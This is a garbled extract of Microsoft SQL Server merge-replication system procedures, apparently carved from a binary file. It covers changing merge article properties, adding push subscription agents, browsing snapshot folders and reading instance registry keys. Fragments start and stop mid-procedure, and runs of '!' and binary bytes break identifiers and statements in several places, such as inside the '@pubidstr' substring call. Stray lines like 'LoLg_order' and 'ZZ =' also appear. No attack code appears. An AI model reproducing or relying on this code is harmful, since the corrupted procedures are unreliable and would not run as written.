						select @quoted_function = @quoted_function + quotename(@function_name)
					else
						select @quoted_function = quotename(@function)
				end
				else
				begin
					-- function only contains A-Z and _ no need for quoting
					select @quoted_function = @function 
				end

                if @partition_id_eval_clause is NULL
                begin
                    select @partition_id_eval_clause = quotename(@function + '_FN') + ' = ' + @quoted_function + '() '
                    select @column_list = quotename(@function + '_FN')
                    select @function_list = @quoted_function + '()'
                end
                else
                begin
                    select @partition_id_eval_clause = @partition_id_eval_clause + 'AND ' + quotename(@function + '_FN') + ' = ' + @quoted_function + '() '
                    select @column_list = @column_list + ',' + quotename(@function + '_FN')
                    select @function_list = @function_list + ',' + @quoted_function + '()'
                end

                -- only add the partition column if it is not upgrade (called by sp_vupgrade_merge_objects)
                if(@upgrade=0)
	                exec @retcode = sp_MSadd_merge_partition_column @function
            end
        end
    end    

    declare @dbname sysname
    declare @cmdtemp nvarchar(max)
    declare @partition_id_eval_proc nvarchar(258)
    declare @pubidstr sysname
    
    select @dbname = db_name()

    select @partition_id_eval_proc = quotename(partition_id_eval_proc) from dbo.sysmergepublications
    where pubid = @pubid

    if @partition_id_eval_proc is not null
    begin
        if object_id (@partition_id_eval_proc) is not null
            exec ('drop procedure dbo.' + @partition_id_eval_proc)

        update dbo.sysmergepublications set partition_id_eval_proc = NULL where pubid = @pubid
    end

    exec @retcode = dbo.sp_MSguidtostr @pubid, @pubidstr out
    if @@ERROR <>0 OR @retcode <>0 return (1)

    select @partition_id_eval_proc = 'MSmerge_evalpartid_sp_' + substring(@pu!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<i|
'En\bidstr, 1, 16)
    if object_id(@partition_id_eval_proc) is not NULL
    begin
        exec ('drop procedure dbo.' + @partition_id_eval_proc)
        if @@error<>0 return 1
    end
    select @cmdtemp = 'exec sys.sp_MSget_partitionid_eval_proc @partition_id_eval_proc = ' + @partition_id_eval_proc + 
                      ', @pubid = ''' + convert(nvarchar(36), @pubid) + ''', @publication_number = ' + convert(nvarchar, @publication_number)

    if @column_list is not null and @column_list <> ''
        select @cmdtemp = @cmdtemp + ', @column_list = ''' + replace(@column_list, '''', '''''') + ''''

    if @function_list is not null and @function_list <> ''
        select @cmdtemp = @cmdtemp + ', @function_list = ''' + replace(@function_list, '''', '''''') + ''''

    if @partition_id_eval_clause is not null and @partition_id_eval_clause <> ''
        select @cmdtemp = @cmdtemp + ', @partition_id_eval_clause = ''' + replace(@partition_id_eval_clause, '''', '''''') + ''''
        
    if @use_partition_groups = 1
        select @cmdtemp = @cmdtemp + ', @use_partition_groups = ' + convert(nvarchar, @use_partition_groups)
    
    exec @retcode = sys.xp_execresultset @cmdtemp, @dbname
    if @@ERROR<>0 OR @retcode <>0 return (1)

    exec @retcode = dbo.sp_MS_marksystemobject    @partition_id_eval_proc 
    if @@ERROR<>0 OR @retcode <>0 return (1)

    exec ('grant exec on dbo.' + @partition_id_eval_proc + ' to public')
    if @@ERROR<>0 return (1)

    update dbo.sysmergepublications set partition_id_eval_proc = @partition_id_eval_proc where pubid = @pubid

    return 0

end
j

j


                    if @@error<>0 or @retcode<>0 return 1
                    
                    set @subid_iter= (select top 1 subid from dbo.sysmergesubscriptions 
                                        where subid>@subid_iter and
                                              subscriber_type<>1 and
                                              pubid in (select pubid from dbo.sysmergearticles where artid=@artid) and
                                              (upper(subscriber_server collate SQL_Latin1_General_CP1_CS_AS) <> upper(publishingservername()) or
                                               db_name <> db_name())
                                        order by subid asc)
                end
            end
        end
        else if exists (select * from dbo.sysmergesubscriptions where
                    subscriber_type<>1 and
                    pubid in (select pubid from dbo.sysmergearticles where artid=@artid) and
                    upper(subscriber_server collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername()) and
                    db_name = db_name())
        begin
            -- The replica is a non-global subscriber to publications that contain this article.
    
            if 0 <> @value_numeric
            begin
                select top 1 @artnick= nickname
                    from dbo.sysmergearticles where artid=@artid
                
                -- Delete row metadata.
                if 1=@islightweight
                begin
                    delete from dbo.MSmerge_rowtrack where tablenick = @artnick
                end
                else
                begin
                    delete from dbo.MSmerge_tombstone where tablenick = @artnick
                    delete from dbo.MSmerge_contents where tablenick = @artnick
                    delete from dbo.MSmerge_past_partition_mappings where tablenick = @artnick
                end
            end
    
            -- Recreate triggers and procs for all publications the replica subscribed to, and which
            -- contain this article.
    

            select top 1 @objid= objid from dbo.sysmergearticles where artid=@artid
    
            exec @retcode= sys.sp_MSget_qualified_name
                                    @object_id= @objid,                      
                                    @qualified_name= @qualified_name output
            if @@error<>0 or @retcode<>0 return 1
    
            set @pubid_iter= (select top 1 pubid from dbo.sysmergepublications where
                                pubid in (select pubid from dbo.sysmergearticles where artid=@artid)
                                order by pubid asc)
                    
            while @pubid_iter is not null
            begin
                exec @retcode= sys.sp_MSResetTriggerProcs
                                @qual_source_object= @qualified_name,
                                @pubid= @pubid_iter
                if @@error<>0 or @retcode<>0 return 1
                
                set @pubid_iter= (select top 1 pubid from dbo.sysmergepublications where
                                    pubid > @pubid_iter and
                                    pubid in (select pubid from dbo.sysmergearticles where artid=@artid)
                                    order by pubid asc)
            end
        end -- upload_options
    end
    
    return 0
LoLg_order < ' + @last_art_processing_order_str + '
                            )

                            order by sma.processing_order desc, t.tablenick desc, t.rowguid asc' )

                IF @@ERROR <>0 
                begin
                    return (1)  
                end

            end
        end
    end
    return (0)
ZZ = @partition_id and pcpm.publication_number = @publication_number) or
                            (pcpm.partition_id = @partition_id and pcpm.publication_number = 0) or
                            (pcpm.partition_id = -1 and pcpm.publication_number = @publication_number) or
                            (pcpm.partition_id = -1 and pcpm.publication_number = 0)
                        ) '
                        + @logical_record_clause
            if (@allow_partition_realignment = 0)
            begin
                    select @command = @command + N' and pcpm.reason = 1'
            end
            select @command = @command + N'
                        ' + @genlist_innerjoin_clause
            select @command = @command + @orderby_clause
        end

        exec sys.sp_executesql @command, N'@tablenick int = 0, @rowguid uniqueidentifier = ''00000000-0000-0000-0000-000000000000'', @pubid uniqueidentifier = ''00000000-0000-0000-0000-000000000000'', @publication_number smallint = 0, @partition_id int = 0, @mingen bigint = 0, @maxgen bigint = 0, @last_art_processing_order int = 0',            
            @tablenick=@tablenick, @rowguid=@rowguid, @pubid=@pubid, @publication_number=@publication_number, @partition_id=@partition_id, @mingen=@mingen, @maxgen=@maxgen, @last_art_processing_order = @last_art_processing_order            
        if @@error <> 0
            return 1
    end
    

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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= NULL,
    @value nvarchar(2000) = NULL,
    @value_numeric int= null
    ) AS

    set nocount on

    declare @artidstr            nvarchar(38)
    declare @pubidstr            nvarchar(38)
    declare @value_str            nvarchar(270)
    declare @artnick            int
    declare @retcode            int
    declare @schemaversion        int 
    declare @schemaguid            uniqueidentifier
    declare @schematype            int
    declare @schematext            nvarchar(4000)
    declare @publication        sysname
    declare @publisher             sysname
    declare @subscriber            sysname
    declare @subscriber_db        sysname
    declare @pubid_iter            uniqueidentifier
    declare @subid_iter         uniqueidentifier
    declare @islightweight        bit
    declare @publishes_to_any    bit
    declare @publishes_to_non_global bit
    declare @qualified_name nvarchar(520)
    declare @objid int
    declare @SCHEMA_TYPE_COMPENSATE_FOR_ERRORS int
    declare @SCHEMA_TYPE_UPLOADOPTIONS int
    declare @SCHEMA_TYPE_CHANGE_MERGE_ARTICLE_90RTM int
    declare @previoustinyintvalue tinyint
    declare @upload_first nvarchar(10)
    
    -- Security check
    if 1 <> is_member('db_owner')
    begin    
        RAISERROR (15247, 11, -1)
        return (1)
    end

    set @SCHEMA_TYPE_COMPENSATE_FOR_ERRORS= 24
    set @SCHEMA_TYPE_UPLOADOPTIONS= 26
    set @SCHEMA_TYPE_CHANGE_MERGE_ARTICLE_90RTM = 303

    /*
    ** Parameter Check:     @property.
    ** Check to make sure that @property is a valid property
    */
    if @property IS NULL OR LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) NOT in 
                                                    ('partition_options',
                                                     'processing_order',
                                                     'published_in_tran_pub',
                                                     'compensate_for_errors',
                                                     'subscriber_upload_options',
                                                     'stream_blob_columns')
    begin
        raiserror (21259, 16, -1, @property)
        return (1)
    end

     select top 1 @islightweight= lightweight 
         from dbo.sysmergearticles where artid=@artid
        
    if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'partition_options'
    begin
        if @value_numeric NOT IN (0, 1, 2, 3)
        BEGIN
            RAISERROR (22526, 16, -1, '@partition_options')
            return 1
        END

        /*
        ** Update the syssubsetdefintions table with the new column tracking.
        */
        update dbo.sysmergepartitioninfo set partition_options = @value_numeric
            where artid = @artid and pubid = @pubid
        if @@ERROR <> 0 return 1

        if @value_numeric in (2, 3)
        begin
            if 1=@islightweight
            begin
                update dbo.sysmergearticles set well_partitioned_lightweight= 1 
                    where artid=@artid and pubid=@pubid
                if @@ERROR <> 0 return 1
            end
            
            select top 1 @publication= name
                            from dbo.sysmergepublications
                            where pubid= @pubid
            exec @retcode = sys.sp_MSvalidate_wellpartitioned_articles @publication
            if @@error <> 0 or @retcode <> 0 return 1
        end
        else
        begin
            if 1=@islightweight
            begin
                update dbo.sysmergearticles set well_partitioned_lightweight= 0 
                    where artid=@artid and pubid=@pubid
                if @@ERROR <> 0 return 1
            end
        end
    end
    else if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'processing_order'
    begin

        declare @processing_order int
        select @processing_order = convert(int, @value) 
        
        update dbo.sysmergearticles set processing_order = @processing_order
        where artid = @artid and pubid = @pubid
        if @@error<>0
            return 1
    end
    else if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'published_in_tran_pub'
    begin
        declare @published_in_tran_pub_bit bit
        
        /* Check to make sure that we have a true/false. */
        if lower(@value collate SQL_Latin1_General_CP1_CS_AS) not in ('true', 'false')
        begin
            raiserror (14148, 16, -1, 'published_in_tran_pub')
            return 1
        end

        /* Determine the bit value. */
        if lower(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
        begin
            set @published_in_tran_pub_bit = 1
        end
        else
            set @published_in_tran_pub_bit = 0
    
        /* Update the subscription with the new 'published_in_tran_pub' value. */
        update dbo.sysmergearticles set published_in_tran_pub = @published_in_tran_pub_bit
            where artid = @artid and pubid = @pubid
        if @@error <> 0
        begin
            raiserror (14053, 16, -1)
            return 1
        end
    end
    else if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'compensate_for_errors'
    begin
        update dbo.sysmergearticles set compensate_for_errors = @value_numeric
            where artid = @artid
        if @@error<>0 return 1

        -- Insert a schemachange for all publications the article belongs to.
        set @pubid_iter= (select top 1 pubid from dbo.sysmergepublications
                                where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and
                                        publisher_db = db_name() and
                                      pubid in (select pubid from dbo.sysmergearticles 
                                                    where artid=@artid)
                                order by pubid asc)
        
        while @pubid_iter is not null
        begin
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            if @schemaversion is NULL
                set @schemaversion = 1
            set @schemaguid = newid()
            
            set @schematype = @SCHEMA_TYPE_COMPENSATE_FOR_ERRORS
            select @schematext = 'exec dbo.sp_MSchange_mergearticle @pubid=''' + convert(nchar(36), @pubid_iter) + ''', @artid=''' + convert(nchar(36), @artid) + ''', @property=''compensate_for_errors'', @value_numeric=''' + cast(@value_numeric as nchar(1)) + ''''
                                     
            exec @retcode = sys.sp_MSinsertschemachange @pubid_iter, @artid, @schemaversion, @schemaguid, @schematype, @schematext
            if @@ERROR <> 0 OR @retcode <> 0 return 1
                
            set @pubid_iter= (select top 1 pubid from dbo.sysmergepublications
                                    where pubid > @pubid_iter and
                                          upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and
                                              publisher_db = db_name() and
                                            pubid in (select pubid from dbo.sysmergearticles 
                                                        where artid=@artid)
                                    order by pubid asc)
        end
    end
    else if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'stream_blob_columns'
    begin
        update dbo.sysmergearticles set stream_blob_columns = @value_numeric
            where artid = @artid
        if @@error<>0 return 1

        -- Insert a schemachange for all publicati!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(~OTޫvj
ons the article belongs to.
        set @pubid_iter= (select top 1 pubid from dbo.sysmergepublications
                                where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and
                                        publisher_db = db_name() and
                                      pubid in (select pubid from dbo.sysmergearticles 
                                                    where artid=@artid)
                                order by pubid asc)
        
        while @pubid_iter is not null
        begin
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            if @schemaversion is NULL
                set @schemaversion = 1
            set @schemaguid = newid()
            
            set @schematype = @SCHEMA_TYPE_CHANGE_MERGE_ARTICLE_90RTM
            
            select @schematext = 'exec dbo.sp_MSchange_mergearticle @pubid=''' + convert(nchar(36), @pubid_iter) + ''', @artid=''' + convert(nchar(36), @artid) + ''', @property=''stream_blob_columns'', @value_numeric=''' + cast(@value_numeric as nchar(1)) + ''''
                                     
            exec @retcode = sys.sp_MSinsertschemachange @pubid_iter, @artid, @schemaversion, @schemaguid, @schematype, @schematext
            if @@ERROR <> 0 OR @retcode <> 0 return 1
                
            set @pubid_iter= (select top 1 pubid from dbo.sysmergepublications
                                    where pubid > @pubid_iter and
                                          upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and
                                              publisher_db = db_name() and
                                            pubid in (select pubid from dbo.sysmergearticles 
                                                        where artid=@artid)
                                    order by pubid asc)
        end
    end
    else if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'subscriber_upload_options'
    begin
        set @publishes_to_any= 0
        set @publishes_to_non_global= 0
    
        select top 1 @artnick= nickname, @previoustinyintvalue = upload_options from dbo.sysmergearticles where artid = @artid
        if @@error<>0 return 1
        
        update dbo.sysmergearticles set upload_options= @value_numeric where artid = @artid
        
        -- Propagate the schemachange if this replica has its own publications, and the article
        -- belongs to them.
        set @pubid_iter= (select top 1 pubid from dbo.sysmergepublications where
                            upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername()) and
                            publisher_db = db_name() and
                            pubid in (select pubid from dbo.sysmergearticles where artid=@artid)
                            order by pubid asc)
                
        while @pubid_iter is not null
        begin
            set @publishes_to_any= 1
            set @schematext= 'exec sp_MSchange_mergearticle @pubid=''' + cast(@pubid_iter as nchar(36)) + ''', @artid=''' + cast(@artid as nchar(36)) + ''', @property=''subscriber_upload_options'', @value_numeric=' + cast(@value_numeric as nchar(1))
            select @schemaversion= isnull(max(schemaversion), 0) + 1 from dbo.sysmergeschemachange
            set @schemaguid= newid()
            set @schematype= @SCHEMA_TYPE_UPLOADOPTIONS
    
            exec @retcode=sys.sp_MSinsertschemachange @pubid_iter, @artid, @schemaversion, @schemaguid, @schematype, @schematext
            if @@ERROR<>0 or @retcode<>0 return 1
    
            set @pubid_iter= (select top 1 pubid from dbo.sysmergepublications where
                                pubid > @pubid_iter and
                                upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername()) and
                                publisher_db = db_name() and
                                pubid in (select pubid from dbo.sysmergearticles where artid=@artid)
                                order by pubid asc)
        end
        
        if 1=@publishes_to_any
        begin
            if exists (select * from dbo.sysmergesubscriptions where 
                subscriber_type<>1 and
                pubid in (select pubid from dbo.sysmergearticles where artid=@artid) and
                pubid in (select pubid from dbo.sysmergepublications where 
                            upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername()) and
                            publisher_db = db_name()))
            begin
                set @publishes_to_non_global= 1
            end
        end

        if 1=@publishes_to_non_global
        begin
            if 0=@value_numeric
            begin
                -- Non-global subscribers subscribe to this replica for publications
                -- that contain the article which becomes updateable: 
                -- Set the generation of all rows to 0, so that data and metadata will be resent to the
                -- non-global subscribers. The data will also be resent to other replicas, but this is
                -- still better than having to reinitialize the non-global subscribers.
                
                update dbo.MSmerge_tombstone set generation= 0 where tablenick = @artnick
                update dbo.MSmerge_contents set generation= 0 where tablenick = @artnick
                update dbo.MSmerge_past_partition_mappings set generation= 0 where tablenick = @artnick
            end
            else if ((@previoustinyintvalue = 0) and (@value_numeric <> 0))
            begin
                -- If there are non-global subscriptions to publications that contain this article
                -- that is changing its upload_options, they need to be reinitialized,
                -- because the subscribers might have data that are not uploaded yet. This data
                -- may no longer get uploaded after the change to upload_options, which would cause
                -- non-convergence.

                set @subid_iter= (select top 1 subid from dbo.sysmergesubscriptions 
                                    where subscriber_type<>1 and
                                          pubid in (select pubid from dbo.sysmergearticles where artid=@artid) and
                                          (upper(subscriber_server collate SQL_Latin1_General_CP1_CS_AS) <> upper(publishingservername()) or
                                           db_name <> db_name())
                                    order by subid asc)

                while @subid_iter is not null
                begin
                    select @subscriber= subscriber_server, @subscriber_db= db_name
                        from dbo.sysmergesubscriptions
                        where subid=@subid_iter

                    select top 1 
                            @publication= name,
                            @upload_first = case automatic_reinitialization_policy
                                                when 1 then 'true'
                                                else 'false'
                                            end
                        from dbo.sysmergepublications
                        where pubid= (select pubid from dbo.sysmergesubscriptions
                                        where subid=@subid_iter)

                    exec @retcode= sys.sp_reinitmergesubscription
                                            @publication=@publication,
                                            @subscriber= @subscriber,
                                            @subscriber_db= @subscriber_db,
                                            @upload_first= @upload_first!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(OS3WvD.CREATE PROCEDURE sys.sp_addmergepushsubscription_agent 
(
	@publication					sysname,					-- Publication name
	@subscriber 					sysname = NULL, 			-- Subscriber server
	@subscriber_db					sysname = NULL, 			-- Subscription database
	@subscriber_security_mode		smallint = NULL,
	@subscriber_login				sysname = NULL,
	@subscriber_password			sysname = NULL,
	@publisher_security_mode		smallint = NULL,
	@publisher_login				sysname = NULL,
	@publisher_password 			sysname = NULL,
	@job_login						nvarchar(257) = NULL,
	@job_password					sysname = NULL,
	@job_name						sysname = NULL,
	@frequency_type 				int = 4,
	@frequency_interval 			int = 1,
	@frequency_relative_interval	int = 1,
	@frequency_recurrence_factor	int = 0,
	@frequency_subday				int = 8,
	@frequency_subday_interval		int = 1,
	@active_start_time_of_day		int = 0,
	@active_end_time_of_day 		int = 235959,
	@active_start_date				int = 0,
	@active_end_date				int = 99991231,
	@enabled_for_syncmgr			nvarchar(5) = 'false'		-- Enabled for SYNCMGR: true or false
) 
AS
BEGIN
	DECLARE @retcode			int,
			@procedure			nvarchar(4000),
			@distributor_rpc	sysname,
			@distributor		sysname,
			@distribution_db	sysname,
			@publisher			sysname,
			@publisher_db		sysname,
			@distrib_pwd		nvarchar(527),
			@pubid				uniqueidentifier,
			@subid				uniqueidentifier,
			@use_ir 			bit,
			@hostname			sysname,
			@exists 			int,
			@merge_job_name		sysname,
			@merge_jobid		binary(16),
			@proxy_id			int
	
	-- Security Check
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 or @retcode <> 0
		RETURN 1
	
	-- Make sure current database is enabled for merge replication
	EXEC @retcode=sys.sp_MSCheckmergereplication
	IF @@ERROR <> 0 or @retcode <> 0
		RETURN 1
	
	SELECT @publisher = publishingservername(),
			@publisher_db = DB_NAME()
	
	-- Parameter Check: @subscriber 
	IF @subscriber IS NULL
	BEGIN
		-- "The parameter @subscriber cannot be NULL."
		RAISERROR (14043, 16, -1, '@subscriber', 'sp_addmergepushsubscription_agent')
		RETURN 1
	END

	IF @subscriber = 'all'
	BEGIN
		-- "The keyword 'all' is reserved by replication stored procedures."
		RAISERROR (14136, 16, -1)
		RETURN 1
	END

	EXEC @retcode = sys.sp_validname @subscriber
	IF @@ERROR <> 0 OR @retcode <> 0
	   RETURN 1

	-- Parameter Check: @subscriber_db
	IF @subscriber_db IS NULL
	BEGIN
		-- "The parameter @subscriber_db cannot be NULL."
		RAISERROR (14043, 16, -1, '@subscriber_db', 'sp_addmergepushsubscription_agent')
		RETURN 1
	END

	IF @subscriber_db = 'all'
	BEGIN
		-- "The keyword 'all' is reserved by replication stored procedures."
		RAISERROR (14136, 16, -1)
		RETURN 1
	END

	-- @subscriber_db cannot be master
	if LOWER(@subscriber_db) = 'master'
	BEGIN
		-- Cannot create replication subscription(s) in the master database. Choose another database for creating subscriptions.
		RAISERROR (21481, 16, 1)
		RETURN 1
	END

	SELECT @pubid = pubid 
		FROM dbo.sysmergepublications 
		WHERE UPPER(publisher)=UPPER(publishingservername()) 
			AND publisher_db=db_name()
			AND name = @publication 
	IF @pubid IS NULL
	BEGIN
		-- The publication '@publication' does not exist.
		RAISERROR (20026, 16, -1, @publication)
		RETURN 1
	END

	SELECT @subid = subid 
		FROM dbo.sysmergesubscriptions 
		WHERE UPPER(subscriber_server) = UPPER(@subscriber)
			AND db_name = @subscriber_db
			AND pubid = @pubid 
			AND subscription_type = 0
	IF @subid IS NULL
	BEGIN
		-- "The subscription could not be found."
		RAISERROR (20021, 16, -1)
		RETURN 1
	END

	SELECT @use_ir = use_interactive_resolver,
			@hostname = hostname
		FROM dbo.MSmerge_replinfo
		WHERE repid = @subid

	-- Check Subscriber Security information
	SELECT @subscriber_security_mode = ISNULL(@subscriber_security_mode, 1)

	IF @subscriber_security_mode NOT IN (0, 1)
	BEGIN
		-- The specified '@subscriber_security_mode' is invalid (valid values are: 0, 1).
		RAISERROR(14266, 16, -1, '@subscriber_security_mode', '0, 1')
		RETURN 1
	END

	-- make sure that the login is valid
	SELECT @subscriber_login = RTRIM(LTRIM(ISNULL(@subscriber_login, '')))
	IF @subscriber_security_mode = 0 AND @subscriber_login = ''
	BEGIN
		-- '@subscriber_login cannot be null or empty when @subscriber_security_mode is set to 0 (SQL Server authentication).'
		RAISERROR(21694, 16, -1, '@subscriber_login', '@subscriber_security_mode')
		RETURN 1
	END

	-- Check Publisher Security information
	SELECT @publisher_security_mode = ISNULL(@publisher_security_mode, 1)

	IF @publisher_security_mode NOT IN (0, 1)
	BEGIN
		-- The specified '@publisher_security_mode' is invalid (valid values are: 0, 1).
		RAISERROR(14266, 16, -1, '@publisher_security_mode', '0, 1')
		RETURN 1
	END

	-- make sure that the login is valid
	SELECT @publisher_login = RTRIM(LTRIM(ISNULL(@publisher_login, '')))
	IF @publisher_security_mode = 0 AND @publisher_login = ''
	BEGIN
		-- '@publisher_login cannot be null or empty when @publisher_security_mode is set to 0 (SQL Server authentication).'
		RAISERROR(21694, 16, -1, '@publisher_login', '@publisher_security_mode')
		RETURN 1
	END
	
	-- if we do not require yukon security then check paramters.
	IF sys.fn_yukonsecuritymodelrequired(NULL) = 0
	BEGIN
		IF @job_login IS NULL
		BEGIN
			IF @job_password IS NOT NULL
			BEGIN
				-- Parameter '@job_login' can be set to 'NULL' only when '@job_password' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_login', 'NULL', '@job_password', 'NULL')
				RETURN 1
			END
		END
		ELSE
		BEGIN
			IF @job_password IS NULL
			BEGIN
				-- Parameter '@job_password' can be set to 'NULL' only when '@job_login' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_password', 'NULL', '@job_login', 'NULL')
				RETURN 1
			END

			IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
			BEGIN
				-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addmergepushsubscription_agent'.
				RAISERROR(21797, 16, -1, '@job_login', 'sp_addmergepushsubscription_agent')
				RETURN 1
			END
		END
	END
	-- if yukon sec required then a valid windows login/password is required
	ELSE
	BEGIN
		IF @job_login IS NULL
			OR @job_password IS NULL
		BEGIN
			-- Only members of the sysadmin fixed server role can perform this operation without specifying @job_login or @job_password.
			RAISERROR(21832, 16, -1, '@job_login or @job_password')
			RETURN 1
		END

		IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addmergepushsubscription_agent'.
			RAISERROR(21797, 16, -1, '@job_login', 'sp_addmergepushsubscription_agent')
			RETURN 1
		END
	END

	-- retrieve the distribution database name			
	EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor_rpc OUTPUT, @distribdb = @distribution_db OUTPUT
	IF @@error <> 0 or @retcode <> 0 or @distribution_db is NULL
	BEGIN
		-- "The Distributor has not been installed correctly."
		RAISERROR(20036, 16, -1)
		RETURN 1
	END

	SELECT @procedure = QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSreplagentjobexists'
	EXEC  @procedure @type = 1,
						@exists = @exists OUTPUT,
						@job_name = @merge_job_name output,
						@proxy_id = @proxy_id output,
						@publisher = @publisher,
						@publisher_db = @publisher_db,
						@publication = @publication,
						@subscriber = @subscriber,
						@subscriber_db = @subscriber_db
	IF @@ERROR <> 0 OR @retcode <> 0
		RETURN 1

	IF @exists = 1
	BEGIN
		-- We have 2 cases here:
		--
		-- 1) if we require the yukon security model then fail since  
		-- the add was expected and the subscription already exists
		--
		-- 2) We are here then this is a sysadmin call and if a 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`oj<
XJ*406 
8create procedure sys.sp_MSbrowsesnapshotfolder 
(
    @publisher     sysname,
    @publisher_db  sysname,
    @article_id    int,
    @subscriber    sysname = NULL,
    @subscriber_db sysname = NULL
)
AS
begin
    SET NOCOUNT ON

    DECLARE @alt_directory_type     INT
    DECLARE @directory_type         INT
    DECLARE @publisher_id           INT
    DECLARE @publisher_database_id  INT
    DECLARE @subscriber_id          INT
    DECLARE @snapshot_bit           INT
    DECLARE @snapshot_mask          INT
    DECLARE @xact_seqno             VARBINARY(16)
    DECLARE @sync_init              INT
    DECLARE @sync_done              INT

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    SELECT @alt_directory_type = 25
    SELECT @directory_type = 7
    SELECT @subscriber_id = NULL
    SELECT @snapshot_bit = 0x80000000
    SELECT @snapshot_mask = ~@snapshot_bit
    SELECT @xact_seqno = NULL
    SELECT @sync_init = 37
    SELECT @sync_done = 38

    SELECT @publisher_id = srvid 
      FROM master.dbo.sysservers 
     WHERE UPPER(@publisher) = UPPER(srvname)

    SELECT @publisher_database_id = publisher_database_id 
      FROM dbo.MSsubscriptions
     WHERE publisher_id = @publisher_id
       AND publisher_db = @publisher_db
       AND article_id = @article_id  

    -- @subscriber is null implies @subscriber_db is null also because 
    -- this sp can only be called by sp_browsesnapshotfolder
    IF @subscriber IS NULL
    BEGIN
        SELECT @xact_seqno = MAX(xact_seqno) 
          FROM MSrepl_commands
         WHERE publisher_database_id = @publisher_database_id
           AND article_id = @article_id
           AND (type & @snapshot_bit) <> 0            
           AND (type & @snapshot_mask) <> @sync_init
           AND (type & @snapshot_mask) <> @sync_done
    END
    ELSE 
    BEGIN
        -- Both @subscriber and @subscriber_db are non-null
        SELECT @subscriber_id = srvid 
          FROM master.dbo.sysservers
         WHERE UPPER(@subscriber) = UPPER(srvname)
        
        IF @subscriber_id IS NULL
        BEGIN
            RAISERROR(21150, 16, -1)  
            RETURN 1
        END
        
        SELECT @xact_seqno = subscription_seqno 
          FROM dbo.MSsubscriptions
         WHERE publisher_database_id = @publisher_database_id
           AND publisher_id = @publisher_id 
           AND article_id = @article_id
           AND subscriber_id = @subscriber_id
           AND subscriber_db = @subscriber_db

        IF @xact_seqno IS NULL
        BEGIN
            RAISERROR(14055, 16, -1)
            RETURN 1
        END                  
    END

    SELECT 'snapshot_folder' = CONVERT(NVARCHAR(255), command) 
      FROM MSrepl_commands 
     WHERE publisher_database_id = @publisher_database_id
       AND (type & @snapshot_bit) <> 0
       AND xact_seqno = @xact_seqno
       AND (((type & ~@snapshot_bit) = @alt_directory_type) OR
            ((type & ~@snapshot_bit) = @directory_type))
  ORDER BY command_id ASC
    IF @@ERROR <> 0
    BEGIN
        RETURN 1
    END
    ELSE
    BEGIN
        RETURN 0
    END
end
0e8 8--
-- Name: fn_replgetinstanceregkey
-- 
-- Description: This functions returns the root of the instance specific reg hive
-- Parameter:   (none)
--
-- Notes: Does not include trailing '\'
--
-- Returns: nvarchar(260)
--
-- Security: Internal
-- 
create function sys.fn_replgetinstanceregkey() returns nvarchar(260)
as
begin 
    declare @instance_name sysname
                ,@instance_id sysname
                ,@retcode int
                ,@regkey nvarchar(260)
    -- get the instance name
    select @instance_name = convert(sysname, SERVERPROPERTY(N'InstanceName'))
    if @instance_name is null
        select @instance_name = N'MSSQLSERVER'
        
    -- map instance name to instance id via the registry
    select @regkey = N'SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL'
    exec @retcode = master.dbo.xp_regread N'HKEY_LOCAL_MACHINE', 
        @regkey,
        @instance_name,
        @param = @instance_id OUTPUT,
        @no_output = N'no_output'
        
    if @retcode <> 0 or @@ERROR <> 0
    begin
        return null
    end	
    
    set @regkey = N'SOFTWARE\Microsoft\Microsoft SQL Server\' + @instance_id
    return @regkey
end
